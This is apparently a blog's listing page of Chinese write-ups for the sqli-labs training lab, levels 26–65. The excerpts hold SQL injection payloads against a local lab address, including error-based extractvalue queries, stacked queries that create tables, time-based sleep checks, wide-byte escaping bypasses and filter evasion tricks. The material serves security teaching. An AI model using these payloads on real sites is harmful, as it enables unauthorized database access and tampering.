
Sqli-labs实战
Sqli-labs实战
FLy_鹏程万里
国内网络安全研究员,专注于Web渗透、移动安全、代码审计、应急响应、内网渗透、区块链安全、云安全等研究方向,擅长渗透测试、红蓝对抗、内网渗透、云安全、区块链安全。
展开
-
sqli-labs————Less-60-65
Less-60payload:http://192.168.11.136/sqli-labs/Less-60?id=-1")union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0...原创 2018-05-22 21:03:43 · 1081 阅读 · 0 评论 -
sqli-labs————Less-59
Less-59与less57\58差不多,这里直接给出payload:http://192.168.11.136/sqli-labs/Less-59?id=-1 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_sch...原创 2018-05-22 21:03:23 · 347 阅读 · 0 评论 -
sqli-labs————Less-58
Less-58源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>..原创 2018-05-22 21:03:07 · 1002 阅读 · 0 评论 -
sqli-labs————Less-57
Less-57源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>..原创 2018-05-22 21:02:39 · 310 阅读 · 0 评论 -
sqli-labs————Less-56
Less-56源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>..原创 2018-05-22 21:02:20 · 316 阅读 · 0 评论 -
sqli-labs————Less-55
Less -55源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head&g..原创 2018-05-22 21:02:00 · 506 阅读 · 0 评论 -
sqli-labs————Less-54(第四部分:提高部分)
前言在接下来的几关中将会对前面所学习的内容做一个复习,同时也会通过在复杂环境中的应用来提高注入技巧。Less-54源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xm...原创 2018-05-22 21:01:36 · 1117 阅读 · 0 评论 -
sqli-labs————Less-53
Less-53与less52一样,这里直接给出payload:http://192.168.11.136/sqli-labs/Less-53?sort=1';create table hhh like users--+原创 2018-05-22 21:01:09 · 432 阅读 · 0 评论 -
sqli-labs————Less-52
Less-22执行的sql语句:$sql="SELECT * FROM users ORDER BY $id";根据该sql语句直接构建以下payload:http://192.168.11.136/sqli-labs/Less-52?sort=1;create table less52 like users--+原创 2018-05-22 21:00:36 · 376 阅读 · 0 评论 -
sqli-labs————Less-51
Less-51执行的sql语句:$sql="SELECT * FROM users ORDER BY '$id'";这里和上一关基本上相同,唯一的区别就是加了一个单引号,这里我们直接构建payload如下:http://192.168.11.136/sqli-labs/Less-51?sort=1';create table hps like users--+...原创 2018-05-21 11:07:50 · 425 阅读 · 0 评论 -
sqli-labs————Less-50(order by stacked injection)
Less-50从本关开始我们开始进行order by stacked injection!执行sql语句我们这里使用的是mysqli_multi_query()函数,而之前我们使用的是mysqli_query(),区别在于mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句,那么我们此处就可以执行多个sql语句进行注入,也就是我们之前...转载 2018-05-21 11:07:33 · 294 阅读 · 0 评论 -
sqli-labs————Less-49
Less-49本关与第47关类似,区别在于没有错误回显,但是我们还是可以使用延迟注入和导入导出文件进行注入操作:延迟注入:http://192.168.11.136/sqli-labs/Less-49?sort=1' and (if(ascii(left(version(),1))=5,0,sleep(5)))--+into outfile注入:http://192.168.11.136/sqli...原创 2018-05-21 11:07:08 · 849 阅读 · 0 评论 -
sqli-labs————Less-48
Less-48本关与less-46的区别在于报错注入不能使用,不进行错误回显,其他的方法我们依旧是可以使用的。可以利用sort=rand(true/false)进行判断。and延时注入http://192.168.11.136/sqli-labs/Less-48?sort=1 and (if (ascii(substr(database(),1,1))=115,0,sleep(5)))同时,我们照...转载 2018-05-21 11:06:51 · 1262 阅读 · 0 评论 -
sqli-labs————Less-47(procedure alalyse\lines terminated by利用)
Less-47源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>..转载 2018-05-21 11:06:29 · 1135 阅读 · 0 评论 -
sqli-Labs————less-46(order by 之后的注入)
前言从这一关开始将会介绍一下order by相关的注入内容。Less-46源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.o...转载 2018-05-21 11:06:08 · 1410 阅读 · 0 评论 -
sqli-Labs————less-45
Less-45这一关于之前的一样,都是采用堆叠注入,payload也是差不了多少,这里直接给出payload:username:adminpassword:aaa')create table hps like users#原创 2018-05-21 11:05:47 · 411 阅读 · 0 评论 -
sqli-Labs————less-44
Less-44这一关与之前的一样,都是采用的堆叠注入,这里直接给出payload:username:adminpassword:aaa';create table hps like users#原创 2018-05-21 11:05:31 · 467 阅读 · 0 评论 -
sqli-Labs————less-43
Less-43这一关于上一关差不多,只是对id的处理上有所变化,下面直接给出payload:username:adminpassword:aaa');create table hps like users#原创 2018-05-21 11:05:16 · 470 阅读 · 0 评论 -
sqli-Labs————less-42
Less-42源代码分析:在login.php文件中,我们可以发现以下内容:从上面所指的代码部分我们可以发现,对用户输入的密码没有经过任何的处理操作,因此在登录的时候可以用于注入。payload:username:admin(随意)password:aaa';creat table me like users#(创建表hps)登录之前的四张表:登录之后:这算是一个堆叠注入的一个应用吧!...原创 2018-05-21 11:05:00 · 1287 阅读 · 0 评论 -
sqli-Labs————less-41
Less-41查看源代码:<?phperror_reporting(0);include("../sql-connections/db-creds.inc");?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tr...原创 2018-05-20 16:01:36 · 580 阅读 · 0 评论 -
sqli-Labs————less-40
Less-40查看源代码:<?phperror_reporting(0);include("../sql-connections/db-creds.inc");?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tr...原创 2018-05-20 16:01:20 · 1150 阅读 · 0 评论 -
sqli-Labs————less-39
Less-39查看源代码:<?phperror_reporting(0);include("../sql-connections/db-creds.inc");?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tr...原创 2018-05-20 16:01:05 · 579 阅读 · 0 评论 -
sqli-Labs————less-38
Less-38源代码:<?phperror_reporting(0);include("../sql-connections/db-creds.inc");?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tran...原创 2018-05-20 16:00:52 · 1112 阅读 · 0 评论 -
sqli-labs ————Stacked 注入攻击介绍
Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。0x01 原理介绍在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sq...转载 2018-05-20 16:00:37 · 671 阅读 · 0 评论 -
sqli-Labs————less-37
Less-37查看一下源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><hea...原创 2018-05-20 16:00:21 · 850 阅读 · 0 评论 -
sqli-Labs————less-36
Less-36源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>..原创 2018-05-20 16:00:08 · 607 阅读 · 0 评论 -
sqli-Labs————less-35
Less-35查看源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head&..原创 2018-05-20 15:59:52 · 755 阅读 · 0 评论 -
sqli-labs————Less-34(宽字节绕过、水平越权、盲注)
Less-34方法一:这一关是POST型的注入,同样的将post传递过来的内容进行了转义处理,过滤了单引号、反斜杠。有之前的例子我们可以看到%df可以将转义的反斜杠给吃掉。而GET型的方式我们是以url形式提交的,因此数据会通过urlencode,如何将方法用在POST型的注入当中呢?我们可以将UTF-8转换为UTF-16或者UTF-32,例如将'转换为utf-16为: �'。我们可以利用这一点注...原创 2018-05-19 11:18:09 · 2696 阅读 · 0 评论 -
sqli-labs————Less-33
Less-33查看源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head&..原创 2018-05-19 11:17:55 · 739 阅读 · 0 评论 -
sqli-labs————宽字节注入(可以用于绕过滤了单引号或者\的WAF)
宽字节注入的原理:原理:mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 \' 。宽字节注入实现:因此我们在此想办法将 ' 前面添加的 \ 除掉,一般有两种思路:(1)%df吃掉 \ 具体的原因是urlencode('\) = %5c%27,我们在%5c%...原创 2018-05-19 11:17:43 · 2736 阅读 · 0 评论 -
sqli-labs————Less-32
Less-32查看源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head&..原创 2018-05-19 11:17:29 · 1146 阅读 · 0 评论 -
sqli-labs————Less-31
Less-31查看源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head&..原创 2018-05-19 11:17:17 · 534 阅读 · 0 评论 -
sqli-labs————Less-30
Less-30查看源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head&..原创 2018-05-19 11:17:04 · 543 阅读 · 0 评论 -
sqli-labs————Less-29
Less-29从题目中可以了解到这个使用了WAF机制,那么我们可以看看该源文件内容:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3....原创 2018-05-19 11:16:49 · 918 阅读 · 2 评论 -
sqli-labs———服务器(两层)架构
首先介绍一下29,30,31这三关的基本情况:服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反。此处简单介绍一下相关环境的搭建。环境为ubuntu14.04。此处...转载 2018-05-19 11:16:15 · 417 阅读 · 0 评论 -
sqli-labs ————less -27(union、SELECT、绕过滤)
Less-27从提示界面中我们可以看出这一小节对union、select进行了绕过,那么我们下面来看看源代码吧:SQL语句:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";过滤机制:function blacklist($id){$id= preg_replace('/[\/\*]/',"", $id); //strip out /*...原创 2018-05-19 11:15:56 · 2080 阅读 · 0 评论 -
sqli-labs ————less -27a(union、SELECT、绕过滤)
Less-27a本关与第27关的去呗在于对于ID的处理,这里使用了“ ””,同时mysql的错误提示被屏蔽,所以报错注入无法进行。对于过滤的绕过技巧在上一节中已经讲过了,这里不再多说了。下面给出一个payload:http://192.168.11.136/sqli-labs/Less-27a?id=1"%a0UnIon%a0SElecT%a01,user(),"3读者有兴趣可以自己测试哈!...原创 2018-05-16 22:51:21 · 793 阅读 · 0 评论 -
sqli-labs————less-28a
Less-28这一关于之前的28关基本上一致,只不过在过滤条件部分少了几个,但是这并不影响我们的注入,对于注入原理还是不变的,下面直接给出payload,因为这几关的相似度太大了,而且只要明白 一关的过关方法,那么其他关的过关方法也就知道了。payload:http://192.168.11.136/sqli-labs/Less-28a?id=-1%27)unIon%0bsElect%0b1,@@...原创 2018-05-16 22:51:04 · 730 阅读 · 0 评论 -
sqli-labs————Less-28
Less 28这一关于之前的27关没有什么差别,这里直接给出一个payload,用户可以自己思考自我测试,如果有不清楚的可以查看之前的第27关的详细介绍。payload:http://192.168.11.136/sqli-labs/Less-28?id=1')union%a0select(1),(user()),(3)||('1...原创 2018-05-16 22:50:30 · 1172 阅读 · 0 评论 -
sqli-labs————Less-26(绕空格、/*、#等)
Less-26从这里的提示,我们可以看出这一关过滤了空格。我们可以查看源代码,看看它的过滤机制:function blacklist($id){ $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out A...原创 2018-05-16 22:50:07 · 2482 阅读 · 1 评论